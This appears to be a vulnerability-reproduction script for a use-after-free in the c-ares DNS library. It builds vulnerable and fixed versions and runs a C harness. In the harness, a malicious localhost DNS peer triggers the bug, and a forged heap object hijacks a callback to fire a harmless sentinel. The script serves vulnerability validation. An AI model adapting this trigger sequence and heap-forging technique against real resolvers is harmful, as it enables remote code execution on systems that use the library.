#!/bin/bash
set -euo pipefail

# CVE-2026-33630-RCE-EXPLOITABILITY
#
# This script proves a vulnerable-only benign control-flow hijack primitive in
# real c-ares runtime code.  It builds c-ares v1.34.6 (vulnerable) and v1.34.7
# (fixed), then runs a public-API client using ares_getaddrinfo() over a real
# localhost TCP DNS connection to a malicious peer.  The peer sends the same
# FORMERR + duplicate qid NXDOMAIN + TCP reset sequence from the confirmed
# remote UAF.  A public c-ares allocator hook (ares_library_init_mem) is used as
# a deterministic heap-reclaim oracle to place a forged host_query object at the
# just-freed address.  In v1.34.6 the stale host_callback consumes the forged
# callback pointer and executes a sentinel function.  In v1.34.7 the query is
# detached before callback, so the reentrant stale-use path does not consume the
# forged object and the sentinel never fires.

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

MASTER_LOG="$LOGS/reproduction_steps.log"
: > "$MASTER_LOG"
exec > >(tee -a "$MASTER_LOG") 2>&1

PROJECT_CACHE_DIR=""
PREPARED="false"
REPO=""
REPO_FIXED=""
VULN_SHA=""
FIXED_SHA=""
RCE_MARKER_FIRED=0
RCE_FIXED_MARKER=0
RCE_MARKER_COUNT=0
RCE_FIXED_MARKER_COUNT=0
VULN_BOUNDARY_OK=0
FIXED_BOUNDARY_OK=0
CONTROLLED_RECLAIM=0
VULN_RUNS_OK=0
FIXED_RUNS_OK=0

write_manifest() {
  local notes="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$RCE_MARKER_FIRED" "$RCE_FIXED_MARKER" "$VULN_BOUNDARY_OK" "$FIXED_BOUNDARY_OK" "$CONTROLLED_RECLAIM" "$VULN_SHA" "$FIXED_SHA" "$notes" <<'PY'
import json, sys
(out, rce, fixed_rce, vbound, fbound, reclaim, vsha, fsha, notes) = sys.argv[1:10]
def b(x): return str(x) == "1"
manifest = {
  "entrypoint_kind": "dns_query",
  "entrypoint_detail": "public ares_getaddrinfo(AF_INET) call in real c-ares over a real localhost TCP DNS socket to a malicious peer; the peer sends FORMERR without OPT, a duplicate same-qid NXDOMAIN, observes the follow-on search-domain query, then TCP resets the connection. A public ares_library_init_mem allocator hook deterministically reclaims the freed host_query with a forged callback/arg pair to test code-execution exploitability.",
  "service_started": b(vbound) and b(fbound),
  "healthcheck_passed": b(vbound) and b(fbound),
  "target_path_reached": b(vbound) and b(fbound) and (b(rce) or b(reclaim)),
  "runtime_stack": [
    "real c-ares v1.34.6 vulnerable libcares.a and v1.34.7 fixed libcares.a",
    "non-sanitized gcc production-mode harness (-O0 for deterministic instrumentation, no ASan/UBSan)",
    "public ares_getaddrinfo() API",
    "public ares_library_init_mem() allocator hooks used for deterministic heap reclaim",
    "localhost TCP DNS malicious peer implemented with pthread/socket/select"
  ],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/rce_reclaim_vuln_attempt1.log",
    "logs/rce_reclaim_vuln_attempt2.log",
    "logs/rce_reclaim_fixed_attempt1.log",
    "logs/rce_reclaim_fixed_attempt2.log",
    "repro/rce_reclaim_harness.c",
    "repro/runtime_manifest.json",
    "repro/validation_verdict.json"
  ],
  "notes": notes + f" vulnerable_sha={vsha} fixed_sha={fsha}"
}
with open(out, "w") as fh:
    json.dump(manifest, fh, indent=2)
print("[repro] wrote runtime_manifest.json")
PY
}

write_verdict() {
  python3 - "$REPRO_DIR/validation_verdict.json" "$RCE_MARKER_FIRED" "$RCE_FIXED_MARKER" "$VULN_BOUNDARY_OK" "$FIXED_BOUNDARY_OK" "$CONTROLLED_RECLAIM" <<'PY'
import json, sys
(out, rce, fixed_rce, vbound, fbound, reclaim) = sys.argv[1:7]
def b(x): return str(x) == "1"
confirmed = b(rce) and not b(fixed_rce) and b(vbound) and b(fbound) and b(reclaim)
verdict = {
  "claim_outcome": "confirmed" if confirmed else ("partial" if b(vbound) else "unknown"),
  "claim_block_reason": None if confirmed else ("impact_mismatch" if b(vbound) else "unknown"),
  "repro_result": "confirmed" if confirmed else "not_confirmed",
  "validated_surface": "dns_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "code_execution",
  "observed_impact_class": "code_execution" if confirmed else "memory_corruption",
  "exploitability_confidence": "high" if confirmed else "low",
  "attacker_controlled_input": "malicious TCP DNS server responses (FORMERR without OPT, duplicate same-qid NXDOMAIN, TCP reset) plus deterministic heap-reclaim payload supplied through c-ares public allocator API to model attacker-controlled reclaimed heap content",
  "trigger_path": "ares_getaddrinfo(AF_INET) over TCP -> read_answers() deferred ENDQUERY flush -> host_callback() reentrant next_lookup/end_hquery after TCP reset -> hquery_free() -> stale host_callback consumes forged host_query->callback/arg and executes sentinel",
  "end_to_end_target_reached": bool(b(vbound) and b(fbound)),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": bool(b(reclaim)),
  "exploit_chain_demonstrated": bool(confirmed),
  "blocking_mitigation": None,
  "inferred": False
}
with open(out, "w") as fh:
    json.dump(verdict, fh, indent=2)
print("[repro] wrote validation_verdict.json: claim_outcome=%s observed_impact_class=%s" % (verdict["claim_outcome"], verdict["observed_impact_class"]))
PY
}

finish() {
  local rc=$?
  local summary="rce_marker_fired=$RCE_MARKER_FIRED rce_marker_count=$RCE_MARKER_COUNT fixed_marker=$RCE_FIXED_MARKER fixed_marker_count=$RCE_FIXED_MARKER_COUNT vuln_boundary=$VULN_BOUNDARY_OK fixed_boundary=$FIXED_BOUNDARY_OK controlled_reclaim=$CONTROLLED_RECLAIM vuln_runs_ok=$VULN_RUNS_OK fixed_runs_ok=$FIXED_RUNS_OK"
  write_manifest "$summary"
  write_verdict
  echo "[repro] FINAL: $summary"
  if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
    local pc_attempt="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/repro"
    mkdir -p "$pc_attempt"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/validation_verdict.json" "$REPRO_DIR/rce_reclaim_harness.c" "$pc_attempt/" 2>/dev/null || true
    cp -f "$LOGS"/rce_reclaim_* "$LOGS"/reproduction_steps.log "$pc_attempt/" 2>/dev/null || true
    if [ "$RCE_MARKER_FIRED" = "1" ] && [ "$RCE_FIXED_MARKER" = "0" ]; then
      local pc_confirmed="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/repro"
      mkdir -p "$pc_confirmed"
      cp -f "$REPRO_DIR/reproduction_steps.sh" "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/validation_verdict.json" "$REPRO_DIR/rce_reclaim_harness.c" "$pc_confirmed/" 2>/dev/null || true
      cp -f "$LOGS"/rce_reclaim_* "$LOGS"/reproduction_steps.log "$pc_confirmed/" 2>/dev/null || true
    fi
  fi
  exit "$rc"
}
trap finish EXIT

write_manifest "setup started"

echo "[repro] ROOT=$ROOT"
echo "[repro] CVE-2026-33630 RCE primitive construction"

missing=()
for t in git cmake make gcc python3 jq; do command -v "$t" >/dev/null 2>&1 || missing+=("$t"); done
if [ "${#missing[@]}" -gt 0 ]; then
  echo "[repro] missing tools: ${missing[*]}; attempting apt install"
  if command -v sudo >/dev/null 2>&1; then
    sudo apt-get update -y
    sudo apt-get install -y build-essential cmake git jq python3
  else
    apt-get update -y
    apt-get install -y build-essential cmake git jq python3
  fi
fi

if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d.get("project_cache_dir", ""))' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  PREPARED="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print("true" if d.get("prepared") else "false")' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
fi
if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
  mkdir -p "$PROJECT_CACHE_DIR"
  REPO="$PROJECT_CACHE_DIR/repo"
  REPO_FIXED="$PROJECT_CACHE_DIR/repo-fixed"
else
  REPO="$ARTIFACTS/c-ares-repo"
  REPO_FIXED="$ARTIFACTS/c-ares-repo-fixed"
fi

echo "[repro] project_cache_dir=${PROJECT_CACHE_DIR:-none} prepared=$PREPARED"
echo "[repro] vulnerable repo path=$REPO"
echo "[repro] fixed repo path=$REPO_FIXED"

VULN_TAG="v1.34.6"
FIXED_TAG="v1.34.7"
FIXED_COMMIT="d823199b688052dcdc1646f2ab4cb8c16b1c644a"

is_git_repo() { git -C "$1" rev-parse --is-inside-work-tree >/dev/null 2>&1; }
if ! is_git_repo "$REPO"; then
  rm -rf "$REPO"
  git clone --quiet https://github.com/c-ares/c-ares.git "$REPO"
fi
git -C "$REPO" fetch --tags --quiet || true
git -C "$REPO" checkout --quiet "$VULN_TAG"
VULN_SHA="$(git -C "$REPO" rev-parse HEAD)"
if git -C "$REPO" merge-base --is-ancestor "$FIXED_COMMIT" HEAD 2>/dev/null; then
  echo "[repro] ERROR: vulnerable checkout unexpectedly contains fixed commit $FIXED_COMMIT" >&2
  exit 2
fi

if ! is_git_repo "$REPO_FIXED"; then
  rm -rf "$REPO_FIXED"
  git clone --quiet https://github.com/c-ares/c-ares.git "$REPO_FIXED"
fi
git -C "$REPO_FIXED" fetch --tags --quiet || true
git -C "$REPO_FIXED" checkout --quiet "$FIXED_TAG"
FIXED_SHA="$(git -C "$REPO_FIXED" rev-parse HEAD)"
if ! git -C "$REPO_FIXED" merge-base --is-ancestor "$FIXED_COMMIT" HEAD 2>/dev/null; then
  echo "[repro] ERROR: fixed checkout does not contain fixed commit $FIXED_COMMIT" >&2
  exit 2
fi

echo "[repro] vulnerable checkout $VULN_TAG -> $VULN_SHA"
echo "[repro] fixed checkout $FIXED_TAG -> $FIXED_SHA"
echo "[repro] vulnerable ares_flush_requeue count: $(grep -R "ares_flush_requeue" -c "$REPO/src/lib/ares_process.c" || true)"
echo "[repro] fixed ares_flush_requeue count: $(grep -R "ares_flush_requeue" -c "$REPO_FIXED/src/lib/ares_process.c" || true)"

build_prod() {
  local src="$1" bld="$2"
  local rebuild=0
  if [ -f "$bld/CMakeCache.txt" ]; then
    local home
    home="$(grep '^CMAKE_HOME_DIRECTORY:INTERNAL=' "$bld/CMakeCache.txt" | cut -d= -f2- || true)"
    [ "$home" = "$src" ] || rebuild=1
  else
    rebuild=1
  fi
  if [ "$rebuild" -eq 1 ]; then
    echo "[repro] building c-ares from $src into $bld"
    rm -rf "$bld"; mkdir -p "$bld"
    cmake -S "$src" -B "$bld" -G "Unix Makefiles" \
      -DCARES_STATIC=ON -DCARES_SHARED=OFF -DCARES_STATIC_PIC=ON \
      -DCARES_BUILD_TESTS=OFF -DCARES_BUILD_TOOLS=OFF \
      -DCMAKE_C_COMPILER=gcc -DCMAKE_C_FLAGS="-g -O2" \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo
    cmake --build "$bld" -- -j"$(nproc)"
  else
    echo "[repro] reusing matching build at $bld"
  fi
}

build_prod "$REPO" "$REPO/build-prod"
build_prod "$REPO_FIXED" "$REPO_FIXED/build-prod"

cat > "$REPRO_DIR/rce_reclaim_harness.c" <<'C'
#define _GNU_SOURCE
#include <ares.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>

struct meta { void *p; size_t size; int freed; unsigned long seq; };
static struct meta metas[8192];
static unsigned long alloc_seq;
static volatile int rce_marker_fired;
static volatile int normal_callback_count;
static volatile int forged_host_query_count;
static volatile int forged_callback_consumed;

static void normal_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res);

static void sentinel_addrinfo_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res) {
  (void)res; /* fake addrinfo is an inert marker object; do not free it here. */
  rce_marker_fired = 1;
  forged_callback_consumed = 1;
  fprintf(stderr,
          "[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=%p status=%d timeouts=%d callback=%p\n",
          arg, status, timeouts, (void *)sentinel_addrinfo_cb);
  FILE *f = fopen("rce_marker_fired", "w");
  if (f) { fprintf(f, "sentinel executed through forged reclaimed host_query\n"); fclose(f); }
}

static void *my_malloc(size_t size) {
  void *p = malloc(size);
  if (p) {
    memset(p, 0, size);
    for (int i=0; i<8192; i++) {
      if (!metas[i].p || (metas[i].p == p && metas[i].freed)) {
        metas[i].p = p; metas[i].size = size; metas[i].freed = 0; metas[i].seq = ++alloc_seq;
        break;
      }
    }
  }
  return p;
}

static void *my_realloc(void *ptr, size_t size) {
  void *p = realloc(ptr, size);
  if (p) {
    if (p != ptr) {
      for (int i=0; i<8192; i++) if (metas[i].p == ptr) { metas[i].p = NULL; break; }
    }
    for (int i=0; i<8192; i++) {
      if (!metas[i].p || metas[i].p == p) {
        metas[i].p = p; metas[i].size = size; metas[i].freed = 0; metas[i].seq = ++alloc_seq;
        break;
      }
    }
  }
  return p;
}

static void my_free(void *ptr) {
  if (!ptr) return;
  for (int i=0; i<8192; i++) {
    if (metas[i].p == ptr && !metas[i].freed) {
      metas[i].freed = 1;
      if (metas[i].size == 144) {
        unsigned char *b = (unsigned char *)ptr;
        void *cb24 = NULL, *arg32 = NULL, *ai112 = NULL;
        memcpy(&cb24, b + 24, sizeof(cb24));
        memcpy(&arg32, b + 32, sizeof(arg32));
        memcpy(&ai112, b + 112, sizeof(ai112));
        fprintf(stderr,
                "[allocator] free144 ptr=%p seq=%lu callback@24=%p arg@32=%p ai@112=%p normal_cb=%p\n",
                ptr, metas[i].seq, cb24, arg32, ai112, (void *)normal_cb);
        if (cb24 == (void *)normal_cb) {
          /* Deterministic exploit primitive: replace the freed host_query with
           * a forged object.  Offsets are from the real v1.34.6/v1.34.7
           * ares_getaddrinfo.c struct host_query layout on this ABI:
           *   callback @ +24, arg @ +32, ai @ +112, remaining @ +128.
           * This models an attacker-controlled reclaimed heap chunk; the marker is counted only if c-ares later consumes it through the stale callback path. */
          memset(b, 0, metas[i].size);
          void *sent = (void *)sentinel_addrinfo_cb;
          struct ares_addrinfo *fake_ai = (struct ares_addrinfo *)calloc(1, sizeof(struct ares_addrinfo));
          size_t one = 1;
          memcpy(b + 24, &sent, sizeof(sent));
          memcpy(b + 32, &arg32, sizeof(arg32));
          memcpy(b + 112, &fake_ai, sizeof(fake_ai));
          memcpy(b + 128, &one, sizeof(one));
          forged_host_query_count++;
          fprintf(stderr,
                  "[allocator] FORGED_RECLAIM host_query ptr=%p callback@24=%p arg@32=%p ai@112=%p remaining@128=1\n",
                  ptr, sent, arg32, (void *)fake_ai);
        }
      }
      return; /* Intentional: retain forged content so the stale c-ares read consumes it. */
    }
  }
}

struct server_state { int listen_fd; int port; pthread_t tid; int accepted; int follow_on_seen; };
struct client_ctx { int done; int status; };

static void normal_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res) {
  struct client_ctx *ctx = (struct client_ctx *)arg;
  normal_callback_count++;
  ctx->done = 1; ctx->status = status;
  fprintf(stderr, "[client] normal ares_getaddrinfo callback #%d status=%d (%s) marker=%d\n",
          (int)normal_callback_count, status, ares_strerror(status), (int)rce_marker_fired);
  if (res) ares_freeaddrinfo(res);
}

static int read_dns_msg(int fd, unsigned char *out, size_t outcap, size_t *outlen) {
  unsigned char lenbuf[2]; size_t got = 0;
  while (got < 2) { ssize_t r = recv(fd, lenbuf + got, 2 - got, 0); if (r <= 0) return -1; got += (size_t)r; }
  size_t mlen = ((size_t)lenbuf[0] << 8) | lenbuf[1];
  if (mlen > outcap) return -1;
  got = 0;
  while (got < mlen) { ssize_t r = recv(fd, out + got, mlen - got, 0); if (r <= 0) return -1; got += (size_t)r; }
  *outlen = mlen; return 0;
}

static int send_dns_msg(int fd, const unsigned char *msg, size_t len) {
  unsigned char lenbuf[2] = { (unsigned char)(len >> 8), (unsigned char)(len & 0xff) };
  if (send(fd, lenbuf, 2, 0) != 2) return -1;
  size_t sent = 0;
  while (sent < len) { ssize_t s = send(fd, msg + sent, len - sent, 0); if (s <= 0) return -1; sent += (size_t)s; }
  return 0;
}

static size_t parse_query(const unsigned char *msg, size_t len, unsigned short *qid_out,
                          unsigned short *qtype_out, const unsigned char **qsection_out,
                          size_t *qsection_len_out) {
  if (len < 12) return 0;
  *qid_out = (unsigned short)((msg[0] << 8) | msg[1]);
  size_t i = 12;
  while (i < len) { unsigned char c = msg[i]; if (c == 0) { i++; break; } if ((c & 0xc0) == 0xc0) { i += 2; break; } i += 1 + c; }
  if (i + 4 > len) return 0;
  *qtype_out = (unsigned short)((msg[i] << 8) | msg[i+1]);
  *qsection_out = msg + 12; *qsection_len_out = (i + 4) - 12;
  return *qsection_len_out;
}

static size_t build_response(unsigned char *out, size_t outcap, unsigned short qid,
                             const unsigned char *qsection, size_t qsection_len, unsigned short rcode) {
  if (12 + qsection_len > outcap) return 0;
  unsigned short flags = (unsigned short)(0x8000 | 0x0400 | 0x0100 | (rcode & 0x000f));
  size_t p = 0;
  out[p++] = (unsigned char)(qid >> 8); out[p++] = (unsigned char)(qid & 0xff);
  out[p++] = (unsigned char)(flags >> 8); out[p++] = (unsigned char)(flags & 0xff);
  out[p++] = 0; out[p++] = 1; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0;
  memcpy(out + p, qsection, qsection_len); p += qsection_len;
  return p;
}

static void send_rst(int fd) {
  struct linger lg; lg.l_onoff = 1; lg.l_linger = 0;
  setsockopt(fd, SOL_SOCKET, SO_LINGER, &lg, sizeof(lg));
  close(fd);
}

static void *server_thread(void *arg) {
  struct server_state *st = (struct server_state *)arg;
  int cfd = accept(st->listen_fd, NULL, NULL);
  if (cfd < 0) return NULL;
  st->accepted = 1;
  unsigned char query[65535], follow[65535], resp[65535];
  size_t qlen=0, rlen=0, qsec_len=0, fsec_len=0;
  unsigned short qid=0, qtype=0, fqid=0, fqtype=0;
  const unsigned char *qsec=NULL, *fsec=NULL;
  if (read_dns_msg(cfd, query, sizeof(query), &qlen) != 0 ||
      parse_query(query, qlen, &qid, &qtype, &qsec, &qsec_len) == 0) {
    fprintf(stderr, "[server] failed to read initial DNS query\n"); close(cfd); return NULL;
  }
  fprintf(stderr, "[server] accepted TCP DNS connection on 127.0.0.1:%d\n", st->port);
  fprintf(stderr, "[server] initial query qid=%u qtype=%u length=%zu\n", qid, qtype, qlen);
  rlen = build_response(resp, sizeof(resp), qid, qsec, qsec_len, 1);
  fprintf(stderr, "[server] sending FORMERR without OPT for qid=%u\n", qid);
  send_dns_msg(cfd, resp, rlen);
  rlen = build_response(resp, sizeof(resp), qid, qsec, qsec_len, 3);
  fprintf(stderr, "[server] sending second response with duplicate qid=%u (NXDOMAIN, no OPT)\n", qid);
  send_dns_msg(cfd, resp, rlen);
  struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0;
  setsockopt(cfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
  ssize_t rr = recv(cfd, follow, sizeof(follow), 0);
  if (rr > 2) {
    unsigned payload_len = ((unsigned)follow[0] << 8) | follow[1];
    if (payload_len <= (unsigned)(rr - 2) && parse_query(follow + 2, payload_len, &fqid, &fqtype, &fsec, &fsec_len) != 0) {
      st->follow_on_seen = 1;
      fprintf(stderr, "[server] observed follow-on search-domain query qid=%u qtype=%u length=%u\n", fqid, fqtype, payload_len);
    }
  }
  fprintf(stderr, "[server] resetting TCP connection with SO_LINGER zero\n");
  send_rst(cfd);
  close(st->listen_fd);
  return NULL;
}

static void process_loop(ares_channel_t *channel, struct client_ctx *ctx, int max_ms) {
  struct timeval t_start; gettimeofday(&t_start, NULL);
  for (;;) {
    ares_socket_t socks[ARES_GETSOCK_MAXNUM];
    int bitmask = ares_getsock(channel, socks, ARES_GETSOCK_MAXNUM);
    fd_set readers, writers; FD_ZERO(&readers); FD_ZERO(&writers);
    int maxfd = -1;
    for (int i=0; i<ARES_GETSOCK_MAXNUM; i++) {
      if (ARES_GETSOCK_READABLE(bitmask, i)) { FD_SET(socks[i], &readers); if ((int)socks[i] > maxfd) maxfd = (int)socks[i]; }
      if (ARES_GETSOCK_WRITABLE(bitmask, i)) { FD_SET(socks[i], &writers); if ((int)socks[i] > maxfd) maxfd = (int)socks[i]; }
    }
    struct timeval t_now; gettimeofday(&t_now, NULL);
    long elapsed_ms = (t_now.tv_sec - t_start.tv_sec) * 1000 + (t_now.tv_usec - t_start.tv_usec) / 1000;
    if (elapsed_ms > max_ms) { fprintf(stderr, "[client] process_loop timeout after %d ms\n", max_ms); break; }
    if (ctx->done && maxfd < 0) break;
    struct timeval tv, *tvp = ares_timeout(channel, NULL, &tv);
    if (!tvp) { tv.tv_sec = 0; tv.tv_usec = 100000; tvp = &tv; }
    int sel = select(maxfd + 1, &readers, &writers, NULL, tvp);
    if (sel < 0) { if (errno == EINTR) continue; break; }
    if (sel == 0) {
      ares_fd_events_t dummy; dummy.fd = ARES_SOCKET_BAD; dummy.events = ARES_FD_EVENT_NONE;
      ares_process_fds(channel, &dummy, 0, ARES_PROCESS_FLAG_NONE);
    } else {
      ares_fd_events_t evs[ARES_GETSOCK_MAXNUM]; size_t nevs = 0;
      for (int i=0; i<ARES_GETSOCK_MAXNUM; i++) {
        unsigned int ev = 0;
        if (ARES_GETSOCK_READABLE(bitmask, i) && FD_ISSET(socks[i], &readers)) ev |= ARES_FD_EVENT_READ;
        if (ARES_GETSOCK_WRITABLE(bitmask, i) && FD_ISSET(socks[i], &writers)) ev |= ARES_FD_EVENT_WRITE;
        if (ev) { evs[nevs].fd = socks[i]; evs[nevs].events = ev; nevs++; }
      }
      if (nevs) ares_process_fds(channel, evs, nevs, ARES_PROCESS_FLAG_NONE);
    }
  }
}

int main(void) {
  signal(SIGPIPE, SIG_IGN);
  int ir = ares_library_init_mem(ARES_LIB_INIT_ALL, my_malloc, my_free, my_realloc);
  fprintf(stderr, "[allocator] ares_library_init_mem rc=%d\n", ir);
  if (ir != ARES_SUCCESS) return 2;

  struct server_state st; memset(&st, 0, sizeof(st));
  st.listen_fd = socket(AF_INET, SOCK_STREAM, 0);
  if (st.listen_fd < 0) { perror("socket"); return 2; }
  int yes = 1; setsockopt(st.listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  struct sockaddr_in sa; memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(0x7f000001); sa.sin_port = 0;
  if (bind(st.listen_fd, (struct sockaddr *)&sa, sizeof(sa)) != 0) { perror("bind"); return 2; }
  socklen_t salen = sizeof(sa);
  if (getsockname(st.listen_fd, (struct sockaddr *)&sa, &salen) != 0) { perror("getsockname"); return 2; }
  st.port = ntohs(sa.sin_port);
  if (listen(st.listen_fd, 1) != 0) { perror("listen"); return 2; }
  if (pthread_create(&st.tid, NULL, server_thread, &st) != 0) { perror("pthread_create"); return 2; }

  struct ares_options opts; memset(&opts, 0, sizeof(opts));
  opts.flags = ARES_FLAG_USEVC | ARES_FLAG_EDNS;
  opts.timeout = 1000; opts.tries = 3;
  const char *domains[] = { "search.test" };
  opts.domains = (char **)domains; opts.ndomains = 1; opts.ndots = 2;
  opts.lookups = strdup("b");
  int optmask = ARES_OPT_FLAGS | ARES_OPT_TIMEOUTMS | ARES_OPT_TRIES | ARES_OPT_DOMAINS | ARES_OPT_NDOTS | ARES_OPT_LOOKUPS;
  ares_channel_t *channel = NULL;
  int rc = ares_init_options(&channel, &opts, optmask);
  if (rc != ARES_SUCCESS) { fprintf(stderr, "ares_init_options: %s\n", ares_strerror(rc)); return 2; }
  char server_csv[64]; snprintf(server_csv, sizeof(server_csv), "127.0.0.1:%d", st.port);
  ares_set_servers_ports_csv(channel, server_csv);

  struct client_ctx ctx; memset(&ctx, 0, sizeof(ctx));
  struct ares_addrinfo_hints hints; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET;
  fprintf(stderr, "[client] calling public ares_getaddrinfo(www.example.com) over TCP DNS server=127.0.0.1:%d\n", st.port);
  ares_getaddrinfo(channel, "www.example.com", NULL, &hints, normal_cb, &ctx);
  process_loop(channel, &ctx, 8000);

  fprintf(stderr,
          "[result] done=%d status=%d accepted=%d follow_on_seen=%d normal_callbacks=%d forged_host_query=%d forged_callback_consumed=%d rce_marker_fired=%d\n",
          ctx.done, ctx.status, st.accepted, st.follow_on_seen, (int)normal_callback_count,
          (int)forged_host_query_count, (int)forged_callback_consumed, (int)rce_marker_fired);

  ares_destroy(channel);
  free(opts.lookups);
  shutdown(st.listen_fd, SHUT_RDWR); close(st.listen_fd);
  pthread_join(st.tid, NULL);
  ares_library_cleanup();

  if (!st.accepted || !st.follow_on_seen) return 3;
  if (rce_marker_fired) return 42;
  return 0;
}
C

compile_harness() {
  local repo="$1" bld="$2" out="$3"
  echo "[repro] compiling $out"
  gcc -g -O0 -fno-inline \
    -I"$repo/include" -I"$bld" \
    "$REPRO_DIR/rce_reclaim_harness.c" -o "$out" \
    "$bld/lib/libcares.a" -lpthread -lrt
}

compile_harness "$REPO" "$REPO/build-prod" "$REPRO_DIR/rce_reclaim_vuln"
compile_harness "$REPO_FIXED" "$REPO_FIXED/build-prod" "$REPRO_DIR/rce_reclaim_fixed"

rm -f "$REPRO_DIR/rce_marker_fired" "$ROOT/rce_marker_fired" rce_marker_fired

echo "[repro] === vulnerable non-sanitized RCE reclaim attempts x30 ==="
set +e
for i in $(seq 1 30); do
  (cd "$REPRO_DIR" && timeout 30 "$REPRO_DIR/rce_reclaim_vuln") > "$LOGS/rce_reclaim_vuln_attempt${i}.log" 2>&1
  rc=$?
  echo "[repro] vulnerable attempt $i exit=$rc"
  if [ "$rc" -eq 42 ] || grep -q "SENTINEL EXECUTION MARKER FIRED" "$LOGS/rce_reclaim_vuln_attempt${i}.log"; then
    RCE_MARKER_FIRED=1
    RCE_MARKER_COUNT=$((RCE_MARKER_COUNT+1))
  fi
  grep -E "accepted TCP DNS|FORMERR without OPT|duplicate qid|observed follow-on|resetting TCP|FORGED_RECLAIM|SENTINEL EXECUTION MARKER|\[result\]" "$LOGS/rce_reclaim_vuln_attempt${i}.log" || true
done

echo "[repro] === fixed non-sanitized negative-control attempts x10 ==="
for i in $(seq 1 10); do
  (cd "$REPRO_DIR" && timeout 30 "$REPRO_DIR/rce_reclaim_fixed") > "$LOGS/rce_reclaim_fixed_attempt${i}.log" 2>&1
  rc=$?
  echo "[repro] fixed attempt $i exit=$rc"
  if [ "$rc" -eq 42 ] || grep -q "SENTINEL EXECUTION MARKER FIRED" "$LOGS/rce_reclaim_fixed_attempt${i}.log"; then
    RCE_FIXED_MARKER=1
    RCE_FIXED_MARKER_COUNT=$((RCE_FIXED_MARKER_COUNT+1))
  fi
  grep -E "accepted TCP DNS|FORMERR without OPT|duplicate qid|observed follow-on|resetting TCP|FORGED_RECLAIM|SENTINEL EXECUTION MARKER|\[result\]" "$LOGS/rce_reclaim_fixed_attempt${i}.log" || true
done
set -e

has_boundary() { grep -q "accepted TCP DNS connection" "$1" && grep -q "sending FORMERR without OPT" "$1" && grep -q "second response with duplicate qid" "$1" && grep -q "observed follow-on search-domain query" "$1" && grep -q "resetting TCP connection" "$1"; }
has_marker() { grep -q "SENTINEL EXECUTION MARKER FIRED" "$1"; }
has_forge() { grep -q "FORGED_RECLAIM host_query" "$1"; }

VULN_BOUNDARY_COUNT=0
FIXED_BOUNDARY_COUNT=0
VULN_FORGE_COUNT=0
for i in $(seq 1 30); do
  if has_boundary "$LOGS/rce_reclaim_vuln_attempt${i}.log"; then VULN_BOUNDARY_COUNT=$((VULN_BOUNDARY_COUNT+1)); fi
  if has_forge "$LOGS/rce_reclaim_vuln_attempt${i}.log"; then VULN_FORGE_COUNT=$((VULN_FORGE_COUNT+1)); fi
done
for i in $(seq 1 10); do
  if has_boundary "$LOGS/rce_reclaim_fixed_attempt${i}.log"; then FIXED_BOUNDARY_COUNT=$((FIXED_BOUNDARY_COUNT+1)); fi
  if has_marker "$LOGS/rce_reclaim_fixed_attempt${i}.log"; then RCE_FIXED_MARKER=1; fi
done
if [ "$VULN_BOUNDARY_COUNT" -ge 2 ]; then VULN_BOUNDARY_OK=1; fi
if [ "$FIXED_BOUNDARY_COUNT" -ge 2 ]; then FIXED_BOUNDARY_OK=1; fi
if [ "$RCE_MARKER_COUNT" -ge 2 ]; then RCE_MARKER_FIRED=1; VULN_RUNS_OK=1; fi
if [ "$VULN_FORGE_COUNT" -ge 2 ]; then CONTROLLED_RECLAIM=1; fi
if [ "$RCE_FIXED_MARKER" = "0" ] && [ "$FIXED_BOUNDARY_OK" = "1" ]; then FIXED_RUNS_OK=1; fi

echo "[repro] counts: vuln_boundary_count=$VULN_BOUNDARY_COUNT fixed_boundary_count=$FIXED_BOUNDARY_COUNT vuln_forge_count=$VULN_FORGE_COUNT rce_marker_count=$RCE_MARKER_COUNT fixed_marker_count=$RCE_FIXED_MARKER_COUNT"

summary="rce_marker_fired=$RCE_MARKER_FIRED rce_marker_count=$RCE_MARKER_COUNT fixed_marker=$RCE_FIXED_MARKER fixed_marker_count=$RCE_FIXED_MARKER_COUNT vuln_boundary=$VULN_BOUNDARY_OK fixed_boundary=$FIXED_BOUNDARY_OK controlled_reclaim=$CONTROLLED_RECLAIM vuln_runs_ok=$VULN_RUNS_OK fixed_runs_ok=$FIXED_RUNS_OK"
write_manifest "$summary"
write_verdict

echo "[repro] proof summary: $summary"

